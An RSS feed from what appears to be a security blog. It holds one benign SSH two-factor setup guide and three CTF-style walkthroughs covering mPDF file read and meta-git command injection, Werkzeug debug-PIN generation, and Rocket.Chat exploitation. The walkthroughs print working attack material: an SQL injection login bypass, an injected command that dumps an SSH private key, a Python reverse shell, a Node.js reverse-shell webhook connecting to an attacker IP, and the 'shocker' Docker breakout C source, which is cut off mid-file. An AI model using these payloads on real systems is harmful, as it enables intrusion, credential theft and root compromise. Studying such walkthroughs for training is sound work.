<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[1337]]></title><description><![CDATA[Protecting the future by securing its technologies]]></description><link>https://1337.ae/</link><image><url>https://1337.ae/favicon.png</url><title>1337</title><link>https://1337.ae/</link></image><generator>Ghost 5.85</generator><lastBuildDate>Tue, 10 Mar 2026 16:00:41 GMT</lastBuildDate><atom:link href="https://1337.ae/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Configure SSH Google Two factor (2FA) Authentication on CentOS / RHEL]]></title><description><![CDATA[lets configure google authenticator over ssh access ]]></description><link>https://1337.ae/configure-ssh-google-two-factor-2fa-authentication-on-centos-rhel/</link><guid isPermaLink="false">6670347f7f806008a08e3826</guid><category><![CDATA[2fa]]></category><category><![CDATA[secure ssh]]></category><category><![CDATA[centos]]></category><category><![CDATA[rhel]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 13:10:20 GMT</pubDate><content:encoded><![CDATA[<hr><div class="kg-card kg-callout-card kg-callout-card-blue"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">lets configure google authenticator over ssh access </div></div><figure class="kg-card kg-code-card"><pre><code class="language-bash">sudo yum -y install google-authenticator qrencode
</code></pre><figcaption><p><span style="white-space: pre-wrap;">install</span></p></figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-bash">$ sudo vi /etc/pam.d/sshd </code></pre><figcaption><p><span style="white-space: pre-wrap;">edit sshd file</span></p></figcaption></figure><pre><code class="language-bash">auth required pam_google_authenticator.so

$ sudo /etc/ssh/sshd_config

ChallengeResponseAuthentication yes</code></pre><blockquote>type in terminal : &#xA0;google-authenticator</blockquote><p>This will ask you a series of questions, here is a recommended configuration:</p><ul><li>Use &#x201C;time-based&#x201D; time-based tokens:&#xA0;<strong>yes</strong></li><li>Update the&#xA0;<code>.google_authenticator</code>&#xA0;file:&#xA0;<strong>yes</strong></li><li>Disallow multiple uses of the same authentication token:&#xA0;<strong>yes</strong></li><li>Increase the original generation time limit:&#xA0;<strong>no</strong></li><li>Enable rate-limiting:&#xA0;<strong>yes</strong></li></ul><figure class="kg-card kg-code-card"><pre><code>Your new secret key is: F298F23FJ230F9JSHXXXXXX
Your verification code is 142XXX
Your emergency scratch codes are:

 1345XXXX
 6526XXXX
 3893XXXX
 2457XXXX
 6000XXXX</code></pre><figcaption><p><span style="white-space: pre-wrap;">You&#x2019;ll be given secret key, verification code and emergency scratch codes to be used if you don&#x2019;t have access to your phone. Write them down on paper or notepad and keep them safe.</span></p></figcaption></figure><figure class="kg-card kg-code-card"><pre><code>sudo systemctl restart sshd</code></pre><figcaption><p><span style="white-space: pre-wrap;">Restart sshd service on the server</span></p></figcaption></figure><p>Next login will require you to pass given code in Auth App <br><br><br><br></p>]]></content:encoded></item><item><title><![CDATA[mPDF read any file and meta-git RCE to root]]></title><description><![CDATA[found this report online informing there is exec p0c in npm (RCE via insecure command formatting)]]></description><link>https://1337.ae/mpdf-read-any-file-and-meta-git-rce-to-root/</link><guid isPermaLink="false">667031697f806008a08e37e2</guid><category><![CDATA[RCE]]></category><category><![CDATA[mPDF]]></category><category><![CDATA[read]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 13:02:01 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://mpdf.github.io/?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">mPDF &#x2013; mPDF Manual</div><div class="kg-bookmark-description">mPDF is a PHP library which generates PDF files from UTF-8 encoded HTML. It is based on FPDF and HTML2FPDF, with a number of enhancements.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://t1.gstatic.com/faviconV2?client=SOCIAL&amp;type=FAVICON&amp;fallback_opts=TYPE,SIZE,URL&amp;url=https://github.io/&amp;size=128" alt></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" alt></div></a><figcaption><p><span style="white-space: pre-wrap;">Website</span></p></figcaption></figure><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1-3.png" class="kg-image" alt loading="lazy" width="400" height="228"><figcaption><span style="white-space: pre-wrap;">logged in as admin with sql injection bypass &#x2018;or 1=&#x2019;1&#x2019;#.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2j.png" class="kg-image" alt loading="lazy" width="590" height="382"><figcaption><span style="white-space: pre-wrap;">Using Burp Suite checking the request</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/9oKK0xGMX8sx.png" class="kg-image" alt loading="lazy" width="593" height="401"><figcaption><span style="white-space: pre-wrap;">Decrypting it using base64 decrypt&#xA0;</span></figcaption></figure><blockquote>Interesting info from GitHub&#xA0;</blockquote><figure class="kg-card kg-image-card"><img src="https://1337.ae/content/images/2024/06/RK6JQebGrCJW.jpg" class="kg-image" alt loading="lazy" width="932" height="456" srcset="https://1337.ae/content/images/size/w600/2024/06/RK6JQebGrCJW.jpg 600w, https://1337.ae/content/images/2024/06/RK6JQebGrCJW.jpg 932w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-code-card"><pre><code class="language-base">https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)URL_Encode(false)To_Base64(&apos;A-Za-z0-9%2B/%3D&apos;)&amp;input=PGFubm90YXRpb24gZmlsZT0iL2V0Yy9wYXNzd2QiIGNvbnRlbnQ9Ii9ldGMvcGFzc3dkIiBpY29uPSJHcmFwaCIgdGl0bGU9IkF0dGFjaGVkIEZpbGU6IC9ldGMvcGFzc3dkIiBwb3MteD0iMTk1IiAvPg
</code></pre><figcaption><p><span style="white-space: pre-wrap;">using CyberChef </span></p></figcaption></figure><figure class="kg-card kg-image-card"><img src="https://1337.ae/content/images/2024/06/cyber.jpg" class="kg-image" alt loading="lazy" width="941" height="649" srcset="https://1337.ae/content/images/size/w600/2024/06/cyber.jpg 600w, https://1337.ae/content/images/2024/06/cyber.jpg 941w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-code-card"><pre><code class="language-cmd">&#x276F; curl http://xxxxxxxxxxx/admin/download.php -H &quot;Cookie: PHPSESSID=dd213s23d8mg2kds8fo10hf9hib&quot; -d &quot;pdf=JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2V0Y y9wYXNzd2QlMjUyMiUyNTIwY29udGVudD0lMjUyMi9ldGMvcGF zc3dkJTI1MjIlMjUyMGljb249JTI1MjJHcmFwaCUyNTIyJTI1M jB0aXRsZT0lMjUyMkF0dGFjaGVkJTI1MjBGaWxlOiUyNTIwL2V 0Yy9wYXNzd2QlMjUyMiUyNTIwcG9zLXg9JTI1MjIxOTUlMjUyM iUyNTIwLyUyNTNF&quot;
</code></pre><figcaption><p><b><strong style="white-space: pre-wrap;">Result Output:</strong></b><span style="white-space: pre-wrap;"> OKdAtpf213e12edyJeFWPExZ0H.pdf</span></p></figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-cmd">&#x276F; curl http://xxxxxx/mpdf/tmp/OKdAtpf213e12edyJeFWPExZ0H.pdf --output passwd.pdf
</code></pre><figcaption><p><span style="white-space: pre-wrap;">CMD AGAIN</span></p></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/3joZXDlgCOvs--1-.png" class="kg-image" alt loading="lazy" width="498" height="144"><figcaption><span style="white-space: pre-wrap;">Reading the pdf i was able to read passwd.</span></figcaption></figure><blockquote>Then i was able to read id_rsa&#xA0; and get user ssh access !&#xA0;</blockquote><p>using <em>linpease</em> , pspsy have nothing interesting </p><figure class="kg-card kg-code-card"><pre><code class="language-bash">sudo -l </code></pre><figcaption><p><span style="white-space: pre-wrap;">User may run the following commands on faculty:(root) /usr/local/bin/meta-git</span></p></figcaption></figure><blockquote>found this report online informing there is exec p0c in npm (RCE via insecure command formatting)</blockquote><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://hackerone.com/reports/728040?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Node.js third-party modules disclosed on HackerOne: [meta-git] RCE...</div><div class="kg-bookmark-description">I would like to report a `RCE` issue in the `meta-git` module.
It allows to execute `arbitrary commands remotely inside the victim&#x2019;s PC` # Module
**module name:** `meta-git`
**version:**&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://hackerone.com/favicon.ico" alt><span class="kg-bookmark-author">HackerOne</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://profile-photos.hackerone-user-content.com/variants/000/023/949/3ea3b2ae039a8f955a4a8fe65d99fe85dc817398_original./60f411638706d89ae3052af6fe8b88fa9a798e291deee40f6a22e81418d78d5f" alt></div></a></figure><p>Github Check !</p><figure class="kg-card kg-image-card"><img src="https://1337.ae/content/images/2024/06/duoiphlwMzwb.jpg" class="kg-image" alt loading="lazy" width="740" height="243" srcset="https://1337.ae/content/images/size/w600/2024/06/duoiphlwMzwb.jpg 600w, https://1337.ae/content/images/2024/06/duoiphlwMzwb.jpg 740w" sizes="(min-width: 720px) 720px"></figure><pre><code class="language-js">xxxxx@xxxxxxxxxxxx:/$ sudo -u root 
meta-git clone &apos;tcpguard| whoami&apos; 
meta git cloning into &apos;tcpguard| whoami&apos; at tcpguard| 
whoami tcpguard| whoami: fatal: repository &apos;tcpguard&apos; does not exist 
whoami: &#x2018;tcpguard&#x2019;: no such user root</code></pre><figure class="kg-card kg-code-card"><pre><code class="language-js">user@xxxxxxxxxxxxx:/$ sudo -u root meta-git clone &apos;tcpguard| cat ~/.ssh/id_rsa&apos; 
meta git cloning into &apos;tcpguard| cat ~/.ssh/id_rsa&apos; at id_rsa 
id_rsa: fatal: repository &apos;tcpguard&apos; does not exist
 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAA
AAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/cz
xmSO5Us2S87dxyw izZ0hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAJMNGmVocBnIkSczGp/zBy0pVK6H7g6GM
AVS pribX/DrdHCcmsIu7WqkyZ0mDN2sS+3uMk6I3361x2ztAG1aC9xJX7EJsHmXDRLZ8G1Rib KpI0WqAW
NSXHDDvcwDpmWDk+NlIRKkpGcV.....</code></pre><figcaption><p><span style="white-space: pre-wrap;">trying to read root ssh key</span></p></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Werkzeug httpd login bypass via lfi and py + reverse shell + root]]></title><description><![CDATA[<hr><p></p><blockquote>found a py file online that can grant you password to access Werkzeug if you got machine id + address</blockquote><div class="kg-card kg-toggle-card" data-kg-toggle-state="close">
            <div class="kg-toggle-heading">
                <h4 class="kg-toggle-heading-text"><span style="white-space: pre-wrap;">Python file</span></h4>
                <button class="kg-toggle-card-icon" aria-label="Expand toggle to read content">
                    <svg id="Regular" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24">
                        <path class="cls-1" d="M23.25,7.311,12.53,18.03a.749.749,0,0,1-1.06,0L.75,7.311"/>
                    </svg>
                </button>
            </div>
            <div class="kg-toggle-content"><p><span style="white-space: pre-wrap;">import hashlib from itertools import chain probably_public_bits = [ &apos;aas&apos;,# username &apos;flask.app&apos;,# modname &apos;Flask&apos;,# getattr(app, &apos;__name__&apos;, getattr(app.__class_</span></p></div></div>]]></description><link>https://1337.ae/werkzeug-httpd-login-bypass-via-lfi-and-py-reverse-shell-root/</link><guid isPermaLink="false">667030027f806008a08e37ae</guid><category><![CDATA[lfi]]></category><category><![CDATA[reverse shell]]></category><category><![CDATA[Werkzeug]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 12:50:32 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><blockquote>found a py file online that can grant you password to access Werkzeug if you got machine id + address</blockquote><div class="kg-card kg-toggle-card" data-kg-toggle-state="close">
            <div class="kg-toggle-heading">
                <h4 class="kg-toggle-heading-text"><span style="white-space: pre-wrap;">Python file</span></h4>
                <button class="kg-toggle-card-icon" aria-label="Expand toggle to read content">
                    <svg id="Regular" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24">
                        <path class="cls-1" d="M23.25,7.311,12.53,18.03a.749.749,0,0,1-1.06,0L.75,7.311"/>
                    </svg>
                </button>
            </div>
            <div class="kg-toggle-content"><p><span style="white-space: pre-wrap;">import hashlib from itertools import chain probably_public_bits = [ &apos;aas&apos;,# username &apos;flask.app&apos;,# modname &apos;Flask&apos;,# getattr(app, &apos;__name__&apos;, getattr(app.__class__, &apos;__name__&apos;)) &apos;/usr/local/lib/python2.7/dist-packages/flask/app.pyc&apos; # getattr(mod, &apos;__file__&apos;, None), ] private_bits = [ &apos;345052364024&apos;,# str(uuid.getnode()), /sys/class/net/ens33/address &apos;258f132cd7e647caaf5510e3aca997c1&apos;# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(&apos;utf-8&apos;) h.update(bit) h.update(b&apos;cookiesalt&apos;) #h.update(b&apos;shittysalt&apos;) cookie_name = &apos;__wzd&apos; + h.hexdigest()[:20] num = None if num is None: h.update(b&apos;pinsalt&apos;) num = (&apos;%09d&apos; % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = &apos;-&apos;.join(num[x:x + group_size].rjust(group_size, &apos;0&apos;) for x in range(0, len(num), group_size)) break else: rv = num print(rv)</span></p></div>
        </div><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-3.jpg" class="kg-image" alt loading="lazy" width="1272" height="796" srcset="https://1337.ae/content/images/size/w600/2024/06/2-3.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/2-3.jpg 1000w, https://1337.ae/content/images/2024/06/2-3.jpg 1272w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">lucky we find LFI to read them ..</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/3-2.jpg" class="kg-image" alt loading="lazy" width="1280" height="409" srcset="https://1337.ae/content/images/size/w600/2024/06/3-2.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/3-2.jpg 1000w, https://1337.ae/content/images/2024/06/3-2.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Reading the machine id + address thru our lfi</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/4-2.jpg" class="kg-image" alt loading="lazy" width="475" height="94"><figcaption><span style="white-space: pre-wrap;">executing the py script</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/5-2.jpg" class="kg-image" alt loading="lazy" width="1280" height="360" srcset="https://1337.ae/content/images/size/w600/2024/06/5-2.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/5-2.jpg 1000w, https://1337.ae/content/images/2024/06/5-2.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">and we gaint login, executing commands failed but i success reverse shell with py as well!</span></figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-python">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;IP&quot;,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);</code></pre><figcaption><p><span style="white-space: pre-wrap;">Reverse command ive used</span></p></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/6-2.jpg" class="kg-image" alt loading="lazy" width="460" height="106"><figcaption><span style="white-space: pre-wrap;">Next i checked sudo version seems too old and well know exploit avilable</span></figcaption></figure><p><a href="https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c?ref=1337.ae" rel="noreferrer">Sudo v1.8.21p1 Exploit</a></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/8-2.jpg" class="kg-image" alt loading="lazy" width="834" height="278" srcset="https://1337.ae/content/images/size/w600/2024/06/8-2.jpg 600w, https://1337.ae/content/images/2024/06/8-2.jpg 834w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">we got root !</span></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Rocket Chat RCE + docker VM PoC read any root file (PRIV esc) shocker]]></title><description><![CDATA[Rocket Chat Exploit , Docker rooting !]]></description><link>https://1337.ae/rocket-chat-rce-docker-vm-poc-read-any-root-file-priv-esc-shocker/</link><guid isPermaLink="false">66702df87f806008a08e377c</guid><category><![CDATA[rocket chat]]></category><category><![CDATA[Docker]]></category><category><![CDATA[privilages escalation]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 12:45:23 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1-1-1.jpg" class="kg-image" alt loading="lazy" width="826" height="497" srcset="https://1337.ae/content/images/size/w600/2024/06/1-1-1.jpg 600w, https://1337.ae/content/images/2024/06/1-1-1.jpg 826w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">we got login info as Mod</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-1-1-1.jpg" class="kg-image" alt loading="lazy" width="534" height="302"><figcaption><b><strong style="white-space: pre-wrap;">go to INTEGRATION&#xA0;</strong></b></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/3-1.jpg" class="kg-image" alt loading="lazy" width="634" height="470" srcset="https://1337.ae/content/images/size/w600/2024/06/3-1.jpg 600w, https://1337.ae/content/images/2024/06/3-1.jpg 634w"><figcaption><span style="white-space: pre-wrap;">choose the active channel</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/4-1.jpg" class="kg-image" alt loading="lazy" width="934" height="529" srcset="https://1337.ae/content/images/size/w600/2024/06/4-1.jpg 600w, https://1337.ae/content/images/2024/06/4-1.jpg 934w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">added a js code for reverse shell&#xA0;</span></figcaption></figure><pre><code class="language-JS">const require = console.log.constructor(&apos;return process.mainModule.require&apos;)();
var net = require(&quot;net&quot;), 
cp = require(&quot;child_process&quot;), 
sh = cp.spawn(&quot;/bin/sh&quot;, []); 
var client = new net.Socket(); 
client.connect(1234, &quot;XX.XX.XX.XX&quot;, function()
{ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/5-1.jpg" class="kg-image" alt loading="lazy" width="640" height="96" srcset="https://1337.ae/content/images/size/w600/2024/06/5-1.jpg 600w, https://1337.ae/content/images/2024/06/5-1.jpg 640w"><figcaption><span style="white-space: pre-wrap;">activate netcat on the same port and curl the webhook !&#xA0;</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/6-1.jpg" class="kg-image" alt loading="lazy" width="639" height="162" srcset="https://1337.ae/content/images/size/w600/2024/06/6-1.jpg 600w, https://1337.ae/content/images/2024/06/6-1.jpg 639w"><figcaption><span style="white-space: pre-wrap;">we got a reverse connection</span></figcaption></figure><blockquote>using the following p0c with slight edits was able to get root priv</blockquote><div class="kg-card kg-toggle-card" data-kg-toggle-state="close">
            <div class="kg-toggle-heading">
                <h4 class="kg-toggle-heading-text"><span style="white-space: pre-wrap;">shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer</span></h4>
                <button class="kg-toggle-card-icon" aria-label="Expand toggle to read content">
                    <svg id="Regular" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24">
                        <path class="cls-1" d="M23.25,7.311,12.53,18.03a.749.749,0,0,1-1.06,0L.75,7.311"/>
                    </svg>
                </button>
            </div>
            <div class="kg-toggle-content"><p><span style="white-space: pre-wrap;">/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * Demonstrates that any given docker image someone is asking</span><br><span style="white-space: pre-wrap;"> * you to run in your docker setup can access ANY file on your host,</span><br><span style="white-space: pre-wrap;"> * e.g. dumping hosts /etc/shadow or other sensitive info, compromising</span><br><span style="white-space: pre-wrap;"> * security of the host and any other docker VM&apos;s on it.</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * docker using container based VMM: Sebarate pid and net namespace,</span><br><span style="white-space: pre-wrap;"> * stripped caps and RO bind mounts into container&apos;s /. However</span><br><span style="white-space: pre-wrap;"> * as its only a bind-mount the fs struct from the task is shared</span><br><span style="white-space: pre-wrap;"> * with the host which allows to open files by file handles</span><br><span style="white-space: pre-wrap;"> * (open_by_handle_at()). As we thankfully have dac_override and</span><br><span style="white-space: pre-wrap;"> * dac_read_search we can do this. The handle is usually a 64bit</span><br><span style="white-space: pre-wrap;"> * string with 32bit inodenumber inside (tested with ext4).</span><br><span style="white-space: pre-wrap;"> * Inode of / is always 2, so we have a starting point to walk</span><br><span style="white-space: pre-wrap;"> * the FS path and brute force the remaining 32bit until we find the</span><br><span style="white-space: pre-wrap;"> * desired file (It&apos;s probably easier, depending on the fhandle export</span><br><span style="white-space: pre-wrap;"> * function used for the FS in question: it could be a parent inode# or</span><br><span style="white-space: pre-wrap;"> * the inode generation which can be obtained via an ioctl).</span><br><span style="white-space: pre-wrap;"> * [In practise the remaining 32bit are all 0 :]</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * tested with docker 0.11 busybox demo image on a 3.11 kernel:</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * docker run -i busybox sh</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * seems to run any program inside VMM with UID 0 (some caps stripped); if</span><br><span style="white-space: pre-wrap;"> * user argument is given, the provided docker image still</span><br><span style="white-space: pre-wrap;"> * could contain +s binaries, just as demo busybox image does.</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * PS: You should also seccomp kexec() syscall :)</span><br><span style="white-space: pre-wrap;"> * PPS: Might affect other container based compartments too</span><br><span style="white-space: pre-wrap;"> *</span><br><span style="white-space: pre-wrap;"> * $ cc -Wall -std=c99 -O2 shocker.c -static</span><br><span style="white-space: pre-wrap;"> */</span><br><br><span style="white-space: pre-wrap;">#define _GNU_SOURCE</span><br><span style="white-space: pre-wrap;">#include &lt;stdio.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;sys/types.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;sys/stat.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;fcntl.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;errno.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;stdlib.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;string.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;unistd.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;dirent.h&gt;</span><br><span style="white-space: pre-wrap;">#include &lt;stdint.h&gt;</span><br><br><br><span style="white-space: pre-wrap;">struct my_file_handle {</span><br><span style="white-space: pre-wrap;">unsigned int handle_bytes;</span><br><span style="white-space: pre-wrap;">int handle_type;</span><br><span style="white-space: pre-wrap;">unsigned char f_handle[8];</span><br><span style="white-space: pre-wrap;">};</span><br><br><br><br><span style="white-space: pre-wrap;">void die(const char *msg)</span><br><span style="white-space: pre-wrap;">{</span><br><span style="white-space: pre-wrap;">perror(msg);</span><br><span style="white-space: pre-wrap;">exit(errno);</span><br><span style="white-space: pre-wrap;">}</span><br><br><br><span style="white-space: pre-wrap;">void dump_handle(const struct my_file_handle *h)</span><br><span style="white-space: pre-wrap;">{</span><br><span style="white-space: pre-wrap;">fprintf(stderr,&quot;[*] #=%d, %d, char nh[] = {&quot;, h-&gt;handle_bytes,</span><br><span style="white-space: pre-wrap;"> h-&gt;handle_type);</span><br><span style="white-space: pre-wrap;">for (int i = 0; i &lt; h-&gt;handle_bytes; ++i) {</span><br><span style="white-space: pre-wrap;">fprintf(stderr,&quot;0x%02x&quot;, h-&gt;f_handle[i]);</span><br><span style="white-space: pre-wrap;">if ((i + 1) % 20 == 0)</span><br><span style="white-space: pre-wrap;">fprintf(stderr,&quot;\n&quot;);</span><br><span style="white-space: pre-wrap;">if (i &lt; h-&gt;handle_bytes - 1)</span><br><span style="white-space: pre-wrap;">fprintf(stderr,&quot;, &quot;);</span><br><span style="white-space: pre-wrap;">}</span><br><span style="white-space: pre-wrap;">fprintf(stderr,&quot;};\n&quot;);</span><br><span style="white-space: pre-wrap;">}</span><br><br><br><span style="white-space: pre-wrap;">int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)</span><br><span style="white-space: pre-wrap;">{</span><br><span style="white-space: pre-wrap;">int fd;</span><br><span style="white-space: pre-wrap;">uint32_t ino = 0;</span><br><span style="white-space: pre-wrap;">struct my_file_handle outh = {</span><br><span style="white-space: pre-wrap;">.handle_bytes = 8,</span><br><span style="white-space: pre-wrap;">.handle_type = 1</span><br><span style="white-space: pre-wrap;">};</span><br><span style="white-space: pre-wrap;">DIR *dir = NULL;</span><br><span style="white-space: pre-wrap;">struct dirent *de = NULL;</span><br><br><span style="white-space: pre-wrap;">path = strchr(path, &apos;/&apos;);</span><br><br><span style="white-space: pre-wrap;">// recursion stops if path has been resolved</span><br><span style="white-space: pre-wrap;">if (!path) {</span><br><span style="white-space: pre-wrap;">memcpy(oh-&gt;f_handle, ih-&gt;f_handle, sizeof(oh-&gt;f_handle));</span><br><span style="white-space: pre-wrap;">oh-&gt;handle_type = 1;</span><br><span style="white-space: pre-wrap;">oh-&gt;handle_bytes = 8;</span><br><span style="white-space: pre-wrap;">return 1;</span><br><span style="white-space: pre-wrap;">}</span><br><span style="white-space: pre-wrap;">++path;</span><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[*] Resolving &apos;%s&apos;\n&quot;, path);</span><br><br><span style="white-space: pre-wrap;">if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) &lt; 0)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] open_by_handle_at&quot;);</span><br><br><span style="white-space: pre-wrap;">if ((dir = fdopendir(fd)) == NULL)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] fdopendir&quot;);</span><br><br><span style="white-space: pre-wrap;">for (;;) {</span><br><span style="white-space: pre-wrap;">de = readdir(dir);</span><br><span style="white-space: pre-wrap;">if (!de)</span><br><span style="white-space: pre-wrap;">break;</span><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[*] Found %s\n&quot;, de-&gt;d_name);</span><br><span style="white-space: pre-wrap;">if (strncmp(de-&gt;d_name, path, strlen(de-&gt;d_name)) == 0) {</span><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[+] Match: %s ino=%d\n&quot;, de-&gt;d_name, (int)de-&gt;d_ino);</span><br><span style="white-space: pre-wrap;">ino = de-&gt;d_ino;</span><br><span style="white-space: pre-wrap;">break;</span><br><span style="white-space: pre-wrap;">}</span><br><span style="white-space: pre-wrap;">}</span><br><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[*] Brute forcing remaining 32bit. This can take a while...\n&quot;);</span><br><br><br><span style="white-space: pre-wrap;">if (de) {</span><br><span style="white-space: pre-wrap;">for (uint32_t i = 0; i &lt; 0xffffffff; ++i) {</span><br><span style="white-space: pre-wrap;">outh.handle_bytes = 8;</span><br><span style="white-space: pre-wrap;">outh.handle_type = 1;</span><br><span style="white-space: pre-wrap;">memcpy(outh.f_handle, &amp;ino, sizeof(ino));</span><br><span style="white-space: pre-wrap;">memcpy(outh.f_handle + 4, &amp;i, sizeof(i));</span><br><br><span style="white-space: pre-wrap;">if ((i % (1&lt;&lt;20)) == 0)</span><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[*] (%s) Trying: 0x%08x\n&quot;, de-&gt;d_name, i);</span><br><span style="white-space: pre-wrap;">if (open_by_handle_at(bfd, (struct file_handle *)&amp;outh, 0) &gt; 0) {</span><br><span style="white-space: pre-wrap;">closedir(dir);</span><br><span style="white-space: pre-wrap;">close(fd);</span><br><span style="white-space: pre-wrap;">dump_handle(&amp;outh);</span><br><span style="white-space: pre-wrap;">return find_handle(bfd, path, &amp;outh, oh);</span><br><span style="white-space: pre-wrap;">}</span><br><span style="white-space: pre-wrap;">}</span><br><span style="white-space: pre-wrap;">}</span><br><br><span style="white-space: pre-wrap;">closedir(dir);</span><br><span style="white-space: pre-wrap;">close(fd);</span><br><span style="white-space: pre-wrap;">return 